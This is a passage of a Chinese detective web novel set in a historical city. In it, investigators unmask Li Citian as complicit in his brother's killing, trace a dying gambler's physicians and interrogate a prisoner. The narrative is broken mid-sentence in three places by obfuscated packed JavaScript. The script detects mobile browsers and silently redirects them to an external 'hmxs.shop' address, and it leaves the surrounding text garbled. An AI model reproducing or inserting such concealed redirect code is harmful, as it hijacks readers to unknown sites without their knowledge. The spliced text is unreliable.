今日送走了儿子,李坊主一滴泪也没有流,只是回到天地牌匾坊,不停做工。 李辞天和母亲劝他休息,他却呵斥他们:“客人的匾额做不出来,休息什么?!” 他“吭吭吭”地凿着木头,旁人便不敢再多劝几句。因为他们知道,李坊主这是在发泄自己的情绪。 受了恩惠的徒弟们见到师父这般悲痛,纷纷回到坊内,陪着李坊主一起做工。 于是这天夜里,天地牌匾坊灯火通明。 谁料,今夜居然还有人上门拜访! 见到有人来,坊中的一个细木匠迎上来,准备劝他们先回去,不要影响李坊主做工,以免他又想起自己死去的儿子。 结果看清来人时,细木匠对万仙和王博多道:“今日你们又有何事?” 说着,他注意到他们身旁的雾山角,小声问道:“这位是……小师爷?” 雾山角颔首,道:“我与你家二少爷乃是昔日好友,今日碍于公务缠身,没能以亲友身份来送他阿兄一程,只得现在前来拜访。来时路上,碰巧遇到这两位。” 他指指万仙和王博多,说:“听说,他们之前与辞天相见恨晚,也想着今夜来宽慰他几句,于是我们便一道登门了。” 这谎编得实在拙劣,细木匠露出狐疑的神色,仿佛在想“这二少爷何时有这么多朋友了?”。 不等他细想,万仙赶紧道:“我们也不会打扰太久,聊表一下心意就回去。” 细木匠看了一眼不远处做工的李坊主,小声道:“辞天少爷今夜陪我们坊主不眠不休,还在偏房里练字呢。” “烦请你带我们去见一见他。” 细木匠犹豫了一会儿还是道:“那你们跟我来,莫要打扰李坊主。” 于是三人一起被领到了李辞天的房门外。 “辞天少爷,有几位您的好友想要见您。”细木匠扣门,朝里喊道。 屋内的人似乎迟疑了片刻,才起身打开了房门。 “是你们?”李辞天看到万仙和王博多,眉头一蹙。 王博多自然而然地踏过门槛,走进屋内,道:“今夜拜访,是想请你节哀。” 李辞天来不及阻止,就见万仙和雾山角也跟着进了屋。他不好意思驱赶,只得朝细木匠挥了挥手,让他离开。 细木匠走后,李辞天关上了房门,转身看向不请自来的访客,心里打起鼓。 因为他知道,雾山角是衙门里的小师爷,他来准没好事。 于是他压抑着紧张的情绪,道:“诸位的心意我领了,只是家中正在办丧事,各个精疲力尽,没法细心招待。” 他只想赶紧让他们走,但来者已露出不善的面孔。 “李辞天,今日我们来是有事要问你。”雾山角厉声道。 李辞天暗自握了握拳头,又舒展开身子,故作镇定地回到了桌前,自顾自地低头写起字来。 “你们想问什么,直接问便是。” 于是雾山角身旁的万仙道:“李落地的死,可与你有关?” 李辞天抬起头,不肯定,也不否定,就只是默不作声地盯着万仙。 万仙道:“不见天赌坊的老板钟万钱在铄山装神弄鬼,将人引诱至洞窟杀人挖心,你哥便是死于他的手下。” “这我听说了。” “然而我们挖出的其他尸体,都是铄山周边的村民。因为鬼夜行的传说,只流传于铄山周边的村庄。就连王博多这种凌洛城的百事通都不曾听闻,李落地又是如何知晓这传说,心中升起去铄山掘金的念头的?” “这我哪知道。”李辞天又低头写字。 万仙清冷一笑,道:“我想,是你设法把铄山的传说告诉你这阿兄的吧?” “你是说,我故意引诱他去铄山,落入钟老板的陷阱?” “难道不是吗?”王博多嚷道。 李辞天道:“我为何要我阿兄死?” “因为你怕他散尽你家的家产。”万仙道,“你和李落地针锋相对,都想继承这天地牌匾坊。三年前,李落地设计想要害你断手,却弄巧成拙,丢失李坊主对他的信任,于是便自暴自弃成了赌徒。一开始,你看到阿兄如此颓废,多少有点幸灾乐祸。毕竟你终于可以胜他一筹,扬眉吐气,继承者家业了。但是后来,李落地在赌场上越陷越深,开始偷钱赌博,李坊主怎么劝诫都无果,你便开始担忧起来。他毕竟是李家的人,万一哪天在赌场上欠了巨额的债,债主必是会找上李家。就算天地牌匾坊在凌洛城小有名气,单子络绎不绝,也经不起赌徒的折腾。于是你就想到,干脆将李落地杀害。但你不想脏了自己的手,这时,钟万钱恰好找上了你。” “他为何要找我?” 万仙道:“钟万钱命不久矣,想要炼丹续命。于是他想到了用鬼夜行设置陷阱的计划。而这计划,需要面具头套。我们后来发现,这些面具头套都是由椴木和牛皮打造。若是去找凌洛城里唯一一家面具店打造这些面具头套,万一事情暴露,衙门一查,就能查出是谁定制了这批货。于是,他决定去找其他会做手工的人。思来想去,他想到了你。” 李辞天原本不停写字的手顿了顿:“为何是我?” “不见天招牌上的字也是出自你手吧。我想,你是因为那招牌认识了钟万钱。钟万钱知道你厌恶自己的阿兄,甚至可能知道你想要阿兄死,于是在他作案前找到你,跟你说,他可以帮你杀了你的阿兄,但是你要帮他做一批面具头套。” “不好意思,”李辞天笑道,“我只会写字,不会做工。” “你如今一心想要继承家业,却只练字,不做手工?这可是牌匾坊,又不是书画铺。”王博多道。 “术业有专攻,我不用非得会做工吧?”李辞天道,“再说,有谁见过我做工?” “没人见过你做手工,只是因为你觉得自己的手工还未达到出神入化的地步,不好意思展露在众人——尤其是你父亲面前罢了。”万仙戳穿道。 李辞天眼里闪过难以掩饰的惊愕。 万仙继续道:“我们第一次来天地牌匾坊的时候,你并不是在这房内写诗练字,而是在偷偷练习手工吧?我们见你时,你手上有未干的墨汁,然而当时桌上,你自称刚练的字,墨迹却已干。写字的纸即使被你卷了一下,重新摊开,纸上依旧干净整洁,没有晕开一点墨渍,这都说明那张纸上的字并不是当时刚写的。” 李辞天的嘴角微微抽搐着。 “我一开始不懂你为何要骗我们……”万仙停顿片刻,道,“我甚至怀疑,你手上的墨汁是故意染上去的,为了掩盖手上别的东西。于是我佯装出门摔了一下,握住了你的手。” 听万仙这么说,王博多瞪大了眼睛。 感情仙儿哥当时不是不小心出了糗,而是故意为之的? 他比李辞天更好奇地听万仙说下去。 万仙缓缓道:“我在你的手上,摸到了厚厚一层茧。犹如面具店老板手掌上那样的茧。虽然练字,手上也会留下一些茧,但绝不会那般粗糙厚实!” 这时,雾山角走上前,夺走了李辞天手中的笔,摊开了他的手掌。 李辞天的手掌之上,确实有不少厚厚的茧。 “那又如何?你们有什么证据,证明我和钟老板是一伙的?”李辞天想要抽出手。 雾山角却紧紧地箍着他的手腕,道:“我们今夜就是来找证据的。今日我们查封了铄山的洞窟,若你是钟老板一伙的,听到消息,定是会把残留的证据——比如做坏的面具头套销毁。但是今天是你阿兄出殡的日子,你作为李家仅剩的儿子,一定会忙上忙下……想必,你还没来得及把这些证据销毁吧?这就是我们必须今日来访的缘由。” “若我真跟钟老板有关系,若我真的有做其他的面具头套,我早就销毁了,用得着留到现在吗?”李辞天突然笑了起来,“你们随便搜,随便搜!我看你们找不找得到!” 见他言之凿凿,雾山角面若寒霜。 难道他赌错了? 雾山角心里不无担忧,表面却颇为淡定地道:“恭敬不如从命!” “我也来帮忙。”一旁的王博多也撸了撸袖子。 就在众人把目光投向房间的各个柜子时,李辞天猛地推了万仙一把,夺门而出。 “小心!”王博多一把拉住了他文弱的仙儿哥。 雾山角则抄起不忍剑,朝门外追了过去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037486|194637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李辞天这一跑,便露了馅。 万仙稳住身子,扫视了屋子一圈,道:“看来这屋子里,确实藏着证据。” 他也不管雾山角,自顾自地走到柜子前一个个打开。 很快,他就发现了藏在暗格里的十几副面具头套,他们形状诡异,其中一个黑色鬼脸更是令人毛骨悚然。 钟万钱的夜行队伍在犯案时,或许需要更换面具头套,但…… “有必要再准备这么多新的面具头套吗?”王博多发问。 万仙思索片刻,沉下脸来:“莫非他也要练九命还魂丹?” “仙儿哥,你的意思是,如果钟万钱续命成功,李辞天也想用他的办法,诱人入山,挖心炼丹,然后……长生不老?” 万仙点头,道:“近年来,他凭借一手好字,让家族兴旺,生活富饶……他肯定想享这样的生活千年万年!” 就在这时,门外响起了喧闹声。 “放开我儿!”李坊主嚷道。 万仙拿着那黑色鬼面面具,奔出李辞天的房间,就见雾山角像提溜一只小鸡似的,将李辞天抓了回来。 见到李坊主护自己的儿子,雾山角将李辞天丢在地上。 不忍剑抵在李辞天脖子上时,雾山角高声道:“你自己跟你爹说,你都干了什么好事!” “小师爷,都是误会……”其他匠人想打圆场,却被雾山角一个眼神震慑住,不敢再开口。 同样不敢开口的,还有李辞天。 “既然你不说,那我来说。”雾山角冷笑道,“李坊主,你家这位少爷,设计害死了他的阿兄。” 李坊主脚一软,险些摔倒。他的徒弟眼疾手快冲过来,将他扶住。 李坊主这才颤抖道:“小师爷,这一定是误会,辞天他怎么会害死自己的阿兄呢。你听我儿解释解释……” 李辞天看到万仙手中的鬼怪面具,知道自己的事情败露,羞愧地咬着嘴唇,低头不语。 李坊主见状,愤怒又大声哀求道:“你说啊!辞天!你跟小师爷解释解释啊!” 见李辞天继续沉默,他便知道小师爷没有冤枉他。 他大喊一声“造孽啊!”,就晕了过去。 他的徒弟们立刻簇拥着把他抬去房间歇息。 这时,万仙和王博多走到了李辞天的面前。 “你这是想学钟万钱,杀人挖心,为自己练一颗不死的丹药?”万仙把黑色鬼面面具递到李辞天面前。 李辞天盯着那面具,笑了起来。 父亲不在,他便不再掩藏,坦率道:“是的,只要钟老板能活过今年,我明年便有样学样,骗九个人来杀!哈哈!” “你现在早早准备,未免也太心急了。” “机会向来是留给有准备的人。不然我也不可能突然凭着自己的一手好字,为这作坊,增光添彩!”李辞天狞笑道,“你这小小书生,名叫万仙是吧?那藏乐楼前说书人讲的,可是你写的话本?” 万仙默认。 李辞天道:“之后,你会将我写进你的话本吗?” 万仙皱眉,不知他为何意。 李辞天又笑道:“那你可千万别写错了。我当日并不是为了掩盖手上的老茧,故意让手沾染墨汁的。我当日只是在画你手上的面具时,不小心沾染上了墨汁而已。你们前来调查吴华白之死,我吓了一跳,赶紧将面具收起,去迎客。出门前,我才留意到手上还留着墨迹,那墨汁一时半会儿不好擦拭,于是我随意抽了一幅写好的诗丢在桌上,以免你们问起我手上为何有墨,我好有个解释。没想到,这次轮到我弄巧成拙了。” “原来如此。”万仙淡淡地回应说,“我知道了。” 突然,李辞天凄凉一笑,猛地起身,握住了雾山角的不忍剑,朝着自己的脖子刺去。 然而,李辞天并没有自尽成功。 像是知道他会这样,雾山角手一发力,就轻巧地将不忍剑抽了回来。 锋利的剑刃划破了李辞天的双手,鲜血快速地流淌了下来,在地上汇聚成一朵猩红之花。 李辞天痛苦地发出哀嚎。 雾山角则将不忍剑持于身后,决绝地看着他。 “想要一死了之?”雾山角冷冷吐出四个字,“痴心妄想。” 11. 第一案:鬼门开11 “麻利点!”雾山角将李辞天从天地牌匾坊带走,消失在路口。 万仙看着李辞天落魄的模样,不由感叹道:“这辞天便是落地,落地亦是辞天,本是同根生,相煎何太急。” “可不嘛。”王博多随着万仙的目光望去,眼底也流露一丝惋惜。 万仙瞥了他一眼,道:“你溜出来一天一夜了,阿奇阿怪怎么还不来抓你回去?” 王博多道:“他们抓我,是奉了我爹的命。我爹之前的确想逼我学管当铺,但这次回去,他告诉我,他已经转念了。他年轻时也是个街溜子,什么圈子都去混,一来二去,摸到了一些生存之道,才有了后来的‘异宝博多’。所以他想,或许放我自由,才是件好事。至于这次抓我回去,则是因为我娘。我娘多日见不着我,甚是想我,所以我爹才会派阿奇阿怪来带我回家。” “那跪祠堂又是为何?” “我娘罚我跪祠堂,是要让我记得,即使我翅膀硬了,也得抽出时间回家。而我爹也是被迫在旁边监督我。”王博多耸耸肩,“所以这一次溜出来,我给爹娘留了封信,跟他们约定,就算要当街溜子,我也会在七日之内回一趟家,与他们吃顿饭。如今阿奇阿怪都不来抓我,说明我的爹娘已经同意了我的想法。” 你还真是幸福的小孩。万仙本想接这句话,但最后只是羡慕地笑了笑,说:“你家还真是开明。” “嘿嘿。”王博多大大咧咧地笑道,“仙儿哥,你以后可得提醒我,七日之内回趟家。” 万仙突然想起什么,道:“你今晚该不会又要跟我挤在清寒夜里吧?” 王博多挥手道:“哪能啊!我回家还是有好处的。” 说罢,他掏出一个外行都知道价格不菲的金丝绣花荷包晃了晃。 万仙道:“其实无需我提醒。待你花光了钱,自然就会回去。” “那倒也是。”这纨绔点点头,话锋一转道,“仙儿哥,钟万钱已死,李辞天也已被扭送官府,你下册话本,应该也有着落了吧?” “这么关心我的话本?” 王博多又嘿嘿一笑,道:“这次你可别把话本的说书权便宜卖给花儿姐了,我去给你找说书人或戏班子,给你谈个好价钱,到时候你分我一点就成。” “你怎么还截花姐的胡?” “我是觉得你话本的说书权只卖一文钱,实在太可惜了。”王博多道,“衙门县太爷有雾山角这位小师爷,以后,我就是你的小师爷吧。” 万仙心想,他还真是和他爹一样,有做买卖的头脑,但是嘴上却说:“你一直缠着我,该不会早就想好来套我的话本了吧?” “仙儿哥,我哪有这么深的心机!”王博多发誓,“我是看你聪明伶俐,机智神勇,英俊潇洒,所以……” 万仙抬起折扇,打住他拍的马屁:“又想挨一记?” 王博多呲牙咧嘴地一笑,抛着手中的荷包,开心道:“回去开房咯……” 万仙拿万仙扇扶了扶额头。 隔日,天光大亮。 万仙打着哈欠,推开了清寒夜的房门,来到王博多昨夜入住的“落花春”雅间前。刚抬起手准备敲门,万仙就瞧见这落花春的房门开了一道缝。从门缝向里望去,就见 早已起床的王博多,正拿着不知从何寻来的竹棍,在房间里习武。 呃…… “习武”一词实属谬赞了。 王博多哪有什么习武该有的一招一式。他完全是自娱自乐地胡乱瞎挥棍罢了。 这小子,该不会是在学雾山角舞不忍剑吧? 万仙有一种撞破别人秘密的羞耻感,正踌躇要不要当没看见,先溜走,就见王博多一个转身,将竹棍朝着房门的方向胡乱一戳。 透过门缝,两人精准地四目相对。 万仙:“……” 王博多:“……” 双双汗颜地僵在原地。 王博多猛地收起竹棍,慌乱了一会儿,又将竹棍随手丢在地上,转头埋怨道:“仙儿哥,你怎么偷窥我?!” 万仙:“那……我要走吗?” 王博多叹了口气,把门打开,尴尬地骂道:“这小厮也真是的,给我送完早点,不把门关紧。” 万仙笑了笑,步入落花春。 王博多则捡起了地上的竹棍,自顾自解释道:“我只是觉得昨晚那大头,抽剑背身,冷哼一句‘痴心妄想’,挺起范的,所以今早寻了根竹棍学学如何……如何装腔作势。” 万仙忙揶揄道:“我看你过些日子,就要称人家一声,角儿哥了。” “怎么会。”王博多眨巴一下眼睛,道,“我最多只会叫他大头哥。” “……” “小小一幽默,仙儿哥,别吃醋。” 万仙抓起桌上的包子,塞到他嘴里,没好气道:“吃饱好上路。” “啊?”王博多啃着包子,嚷道,“不至于我开个玩笑,你就要杀了我吧。” “再多嘴,你这装的可爱便也不可爱了。”万仙提醒道,“赶紧吃,今日事务繁忙,确实要抓紧出门了。” “这案子不都破了吗?还有什么事?”王博多不解。 万仙道:“我们还不知道,是谁妖言惑众,让钟万钱去铄山练那根本不可能存在的长生不老药。” “啊?这也要查?” “追根溯源,有罪皆罚!”万仙“啪”地一声打开折扇,踱步出门。 凌洛城的街巷,商贾云集,商贩的叫卖声此起彼伏,不绝于耳。万仙和王博多穿过这喧嚣人声,步入一家医馆。 做下手的学徒瞧见两人,急忙迎上来,看两位气色红润,神采奕奕,不免犯了难:“哪位贵恙看病?” “我们不是来看病的,是想来打听一件事。”王博多道,“你可认识不见天赌坊的老板,钟万钱?” “你们也是来问钟万钱病情的?” “哦?还有人来过?”万仙道,“可是小师爷?” 那学徒点点头:“他刚走,你们就来了。” “没想到这大头动作还挺快。”王博多道,“所以……钟万钱的确身患重病,命不久矣吗?” “那是自然。”那学徒刚说完,就意识到自己犯了错,闭上了嘴。 这时,医馆的老医师从后头的药寮里出来,骂徒弟道:“病人的病情,可是随意能讲给他人听的?” 学徒不敢作声,低着头默默挨骂。 王博多则道:“这钟万钱杀人挖心的事,想必已经传遍了凌洛城。他一个罪人的病症,有什么好隐瞒的?” “小师爷是衙门的人,他来查阅罪人的病历,我自然会如实告知。”老医师道,“可你们是何人?我又有何理由将钟万钱的病情告之?” 王博多眼睛一转,一只手往自己腰间的荷包一探,翻出钱来。 “这个理由如何?”他胸有成竹道。 谁知那老医师脸一沉,一把打开王博多递到眼前的手。 “你休要侮辱我!”他转头对徒弟命令道,“把这两人给我轰出去!” “欸……”王博多急道,“别啊!我们也是为了匡扶正义 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037487|194637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,在查案啊!” 结果那老医师丝毫没有改变态度,冲着徒弟挥了挥手,那学徒便板起脸来,将他和万仙一同赶出了医馆。 王博多颇感狼狈,万仙却淡然道:“我终于明白你爹为何转念,允许你出来混混江湖了。哪有人当着学徒的面,给他师父行贿的。” 王博多这才意识到自己刚才那番举动有多不妥,不禁尴尬道:“失策,失策!” 万仙扇着扇子,道:“我们这身份,要探听这种事的确不方便。” “那怎么办?” “还能怎么办?”万仙朝着远处另一家医馆仰了仰下巴,道,“好风凭借力,送我上青云。” 王博多朝着他下巴所指的方向瞧去,就见一个熟悉的身影正从那家医馆走出。 此人身着一袭黑色劲装,高挺如松,威猛豪迈,腰间还配着一把长剑,盛气凌人。 有这架势的,除了雾山角,还能有谁? 王博多立刻领会了万仙刚才话里的意思。医馆不愿意向他人透露病人的病情——即使对方是十恶不赦的罪人,但医馆无法拒绝官府的人查案!他们要想轻松获取医馆里的讯息,跟着雾山角就行! 于是王博多立刻迈开步子,朝雾山角走去。 “我说,你之前不是看不惯人家那张臭脸吗?”万仙故意道。 “还不是跟仙儿哥你学的。”王博多耸耸肩道,“为了查案,大丈夫能屈能伸!” 万仙低头轻笑,也跟了上去。 “小师爷,你也来医馆查案?”王博多追上了雾山角。 雾山角早就察觉到有人从背后朝自己奔过来,手已经忍不住搭在了不忍剑上。 看到是王博多和万仙,他皱眉道:“又是你们?” 万仙立刻向他作揖,唤了一声:“雾山兄。” “你们该不会也在查钟万钱的病情吧?”他没理会万仙,而是略带挑衅地对王博多道,“被医馆赶出来了?” “你怎知道?”王博多咽了咽口水。 “你唤我小师爷,我就知道,你们调查不顺,想从我这里套点东西回去。” 王博多嘿嘿一笑,说:“那你给套吗?” “不给。” “别呀,”王博多可怜巴巴道,“求求小师爷了。” “……”雾山角转头看向万仙,道,“你这小跟班真是青出于蓝而胜于蓝啊。” 万仙扇着扇子,笑了起来:“那不知雾山兄能否再带我们这对青蓝,去查查案?” “这鬼夜行的案子算已告破,对钟万钱病情的调查,也不过是收尾事宜里的小小一环而已。此事交给我们衙门就行,你们回去歇着便是。” 万仙却认真道:“雾山兄,你真觉得这案子已经告破?” 这话让雾山角心里一惊。 的确,钟万钱已死,李辞天已被擒,他本该轻松地把这案子结了。可是不知为何,他总觉得眼前的迷雾未散,心里存着一丝不安,所以今早才会走街串巷,去各个医馆调查。 现在,万仙也说这案子悬而未决,难道…… 雾山角看向万仙,问道:“你为何推测案子仍未破?” 万仙道:“只是直觉使然。” 雾山角眉头一皱,一句话未说,就急急地迈开了步子。 万仙和王博多不知他心里那股不安,看着他突然疾步的模样,一时愣在原地。 雾山角察觉到身后二人没有跟来,猛地刹住脚步,转过头,不悦地招呼。 “跟上啊!你们不是要我带上你们吗?” 12. 第一案:鬼门开12 雾山角已经走访了三家医馆,医馆的医师都告诉他,他们都为钟万钱瞧过病,发现他体似虚竹,心如病鹤,确是仅有些许寿命。 “这么看来,他寻遍了凌洛城里的医师给他看病?”王博多道,“他靠不见天赚了那么多钱,为何不去京城找名医相助?” “钟万钱已如风中残烛,京城山高路远,他怎敢赌上所剩无几的性命去长途跋涉?”万仙扇着扇子,淡淡道。 “没错。他怕自己猝于半道,所以只在凌洛城里寻医讨药。”雾山角一边接话,一边抬起手,打住了王博多欲要说出口的问题,“你想说他去不了京城,也可以托人请名医过来?” 王博多点头。 雾山角道:“我之前去不见天找他们的伙计调查过了,听说他有想过这个法子,但是后来作罢了。” “为什么?”王博多刚说完,就醒悟过来,“哦,他以为自己已经找到了续命的方法……就是杀人、挖心、炼丹?” 雾山角不置可否。 说话间,四人又来到了一家医馆前,医馆名叫“祥云堂”,坐镇的老医师在凌洛城颇有威望,也颇为神秘。凌洛城里无人见过他的真容。因为他给病人看病时,总是隐于布帘后,悬丝号脉,所以大家都称他为悬丝先生。 “听上去像是什么蜘蛛精。”王博多一边跟万仙介绍祥云堂,一边忍不住发表自己的看法。 万仙无奈一笑,与雾山角步入医馆。 这医馆比之前去的那家要小很多,一张古朴典雅、泛着光泽的红木四方桌,便是病人入座的问诊处。桌子不远处,悬挂着拖到地面的布帘,布帘上绣着金丝祥云,朵朵灿烂,一看就跟那红木桌一样价格不菲,隐隐透露出这悬丝先生医术高超,医人无数。 “不然他也不可能赚那么多钱,买这么好的物件。” 常人大抵会这样想吧。 万仙的目光落在桌上的脉枕和一卷悬丝上,思量这悬丝先生的样貌。 雾山角则朝布帘的方向喊道:“有人吗?” “哎呀。久等了。”忽然,一个清脆的声音在布帘后响起。 一名清秀伶俐、眼神炯炯的少女撩开了布帘,疾步走到了众人面前。万仙注意到她手上拿着一本医书,乃是孙思邈的《千方金》。 “小师爷。”她看到雾山角,喜上眉梢,“你的肩膀好些了吗?” “谢谢灵萱姑娘的关心,已经好全了。”雾山角颇有礼貌地回答道,“悬丝先生开的药,确实有效。” “那今日来是为何事?需要我请师父出来悬丝号脉吗?”灵萱虽是在问雾山角,目光却止不住落在万仙脸上。 “咳咳咳。”雾山角咳嗽了几声,“今日我是来问不见天赌坊的老板,钟万钱的事的。” 少女咋舌:“听说他杀了很多人?” 雾山角道:“所以我奉命来调查,想问问,他可曾来你们祥云堂看病?” 灵萱点头,说:“他的药还是我抓的。悬丝先生说他已经病入膏肓,药石不过是给他宽心的安慰罢了。” “那他上次来是何时?”万仙问。 灵萱以为他和雾山角同是衙门之人,颇为恭敬地道:“待我去翻翻笔记。” 也不等万仙回答,她就转身进了布帘内。没过一会儿,她的手里就多了一本笔记。 她细细翻阅,然后把其中一页摊开,指着钟万钱的名字,道:“他上次来是两个月前。” 那张纸上写着病人们的姓名、就诊的日期、当日配药的金额。钟万钱的名字就在这其中,只是他的名字旁边比别人多了一个圈。 “这个圈指的是什么意思?”万仙问道。 “如果病人蛮不讲理,酷爱闹事,我便会在他们名字后头打个圈,下次恕不接待。但……”灵萱看着那符号,道,“我之所以给钟老板打个圈,是因为我觉得他下次不会再来我们医馆看病。事实上,之后两月,他果然没有再来过。” “你为什么会觉得他不会再来?”雾山角问。 灵萱答道:“因为他被街边算命的招揽了过去……” 灵萱说,两月前,钟万钱来医馆,说自己最近吃了不少灵丹妙药,想来看看身子是否已好起来。悬丝先生思索良久,还是让灵萱转告他实情,说他的病无药可疑。 “为什么?!!”得知消息的他抱头痛哭,差点晕死过去。 灵萱赶紧将他请到躺椅上休息,却也不知如何安慰他。 后来,她去布帘后给别的病人取药,回来时就发现钟万钱已经走了。 灵萱担生怕他昏死在半路上,便追出去瞧了瞧。 结果她却看到他坐在街边的算命摊上,渴求地看着一位脸上有长须痣的算命师,听他滔滔不绝。 灵萱听不到算命师在同他说什么,但她瞧见钟万钱喜形于色,好似有了盼头。 “我之前从未在这街上看到过这算命师,那日也只觉得他是行走四方,坑蒙拐骗的骗子……”灵萱的声音低了下去,“但我没去提醒钟老板。因为没必要夺走将死之人的救命稻草,哪怕那其实不是稻草,不过是虚无缥缈的一缕烟。” “那之后,你可还见过那算命师?”万仙问。 灵萱想了想道:“后来他就不见踪影了。这让我更确定,他不过是骗完钱就跑路的骗子而已。” 说完这些,灵萱就再也无法提供更多有关于钟万钱的讯息了,于是万仙三人便谢过了灵萱,离开了祥云堂。 走到街上,王博多忍不住分析起来:“这么说来,钟万钱只是被骗子忽悠,然后犯下了大错?” 万仙道:“寻常骗子,坑蒙拐骗不过是为了图钱,何至于怂恿他人去杀人挖心?” “但也有一种可能……”雾山角道,“如果骗子跟钟万钱说,自己有灵丹妙药可以长生不老,那钟万钱肯定是不会信的。因为常人都会想,你既然有这东西,何至于流浪街头摆摊算命?于是骗子便谎称,自己确有可以练长生不老药的方法,只是那方法需要杀九个活人,挖九颗心。他不敢去做这事,所以才没有现成的丹药,但他可以把制药的条件和方法卖给他。谁料,急病乱投医的钟万钱,真的去实施了……” “那我们现在怎么办?”王博多挠挠头,说,“那坑蒙拐骗的骗子早已撤摊跑路,茫茫人海,寻到他怕是难咯。” 雾山角也苦恼地皱起眉头。 王博多说得没错,此人或许早已离开了凌洛城,要抓他,犹如海底捞月,不过是妄想。 “既然抓不到这算命的,”万仙说,“那我们就去查查别的事吧?” “还有什么事?”王博多疑惑。 “查查是谁把吴华白和李落地的尸体,丢入玉河,让他们曝尸河中。” 王博多这时也反应过来了。 对哦!被挖心的其他人的尸体都在那乱葬坑内,为何吴华白和李落地的尸体会顺玉河而下?此事颇有蹊跷,至今却未有答案。 就在王博多暗自“对哦!”的时候,万仙已经向雾山角作揖道:“不知道雾山兄,能否带我们再去问问那群装神弄鬼之人?” 雾山角思索片刻,冷冷道:“你们跟上便是。” 说完,他又先走了。 王博多偷偷同万仙低语:“这大头怎么又摆起脸来了。” 万仙赶紧拿扇子遮住他的嘴。 因为雾山角此刻肯定很懊恼,他怎么就忘了深挖此事呢? ------ 不久后,凌洛城牢房内。 昏暗的牢房里有一间不透风的密室,密室之中,摆着一张四方桌,桌子周围树立着多种刑具——有刺入犯人身体,让犯人痛不欲生的三棱刺;有可以实施夹刑,废掉犯人十指的夹棍;还有能将犯人双腿拉断的老虎凳……令步入这密室的人不由汗毛耸立、内心惊恐。 此刻,一名之前扮鬼的犯人,紧张地坐到了四方桌前,疑惑地看着桌上的脉枕。 雾山角沉着脸,站在犯人身旁,命令道:“伸手,搭在脉枕上!” 犯人不敢不从,伸出的手却止不住地颤抖。 因为他面前,除了雾山角,还坐着两个戴着面具的人,面具上没有特别的花纹,普通得不能再普通。 犯人不知道他们葫芦里卖的是什么药,紧张地吞了吞口水。 只见其中一人拿出悬丝,走过来,缠在了他的手腕上,然后再将另一头,交到另一位戴面具者的手中。 “今日把你们一个个叫来询问,是想看看你们之中是否有人撒谎。”雾山角对着犯人道,“撒谎时,人难免紧张,心跳加快,脉搏异常。所以我请来这位凌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037488|194637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洛城里数一数二的医师,悬丝先生,让他悬丝号脉,帮我查出撒谎之人。” 那戴着面具的悬丝先生微微颔首。 而他的助手,连忙对雾山角道:“我们悬丝先生,技术高超,从未出错,定是能助小师爷揪出撒谎之人。” “甚好。”雾山角对那助手说完,转头看向瑟瑟发抖的犯人,道,“别怕,只要你如实回答,即便你犯了错,我们也不会上对你上刑。因为说到底,你只是钟万钱的帮凶,罪不至死,也不至于用上酷刑。但如果你撒谎,那就别怪我不客气了。” 他指了指老虎凳,又指了指夹棍,对悬丝先生一挥手,道:“先生,我们开始?” 悬丝先生微微点头。 审讯开始。 “姓名。” “赵衾。” “哪里人?” “凌洛城人。” “为何替钟万钱办事?” “小的在不见天欠了不少钱,钟老板便找到我,让我替他做事。念及他命不久矣,实属可怜,所以我才答应……”说着,赵衾话头一转,“我知道那些死掉的人也很可怜,但……对不起……我只是想脱去这一身的债务罢了。” “你就只是装神弄鬼,骗人进鬼门而已?杀人挖心的步骤,一点都没参与?” “没有。没有。”赵衾把头摇成拨浪鼓,“杀人挖心的确是钟老板自己干的。” “你骗人!钟老板病入膏肓,哪里来的力气?” “我不知道,反正……他杀人时,力大无穷。可能,可能是想到自己能借此活下来,所以他才回光返照地使出力气来。” 雾山角闻言,转头看向悬丝先生。 但悬丝先生只是号着脉,岿然不动地坐在凳子上。 于是雾山角继续问赵衾:“那些尸体可是你处理的?” “我……”赵衾看向戴面具的悬丝先生,咽了咽口水,道,“是的,我有处理过尸体。应该说,我们都有处理过尸体。” “你们把尸体都丢进了乱葬坑里?” “是的。” “全部?”雾山角问,“七具被挖心的尸体,全部都丢进了乱葬坑里?” “是的……” “你又骗人!明明有两具尸体被丢进了玉河!” “我不知道这件事……” 雾山角才不管他回答什么,而是一拍桌子,厉声道:“是不是你把那两具尸体丢进玉河的?” “不是我,真的不是我!”赵衾连连否认。 结果就在这时,他手上的悬丝微微一动。 另一头的悬丝先生,突然开口:“他在撒谎。” 那悬丝先生的声音清脆如雨打细竹,落在赵衾耳朵里,却仿佛是阎王的索命声。 赵衾大叫:“我没有!我没有撒谎!我说的是真的!那两具尸体不是我丢的……” “悬丝先生岂会污蔑于你!”悬丝先生的助手嚷道。 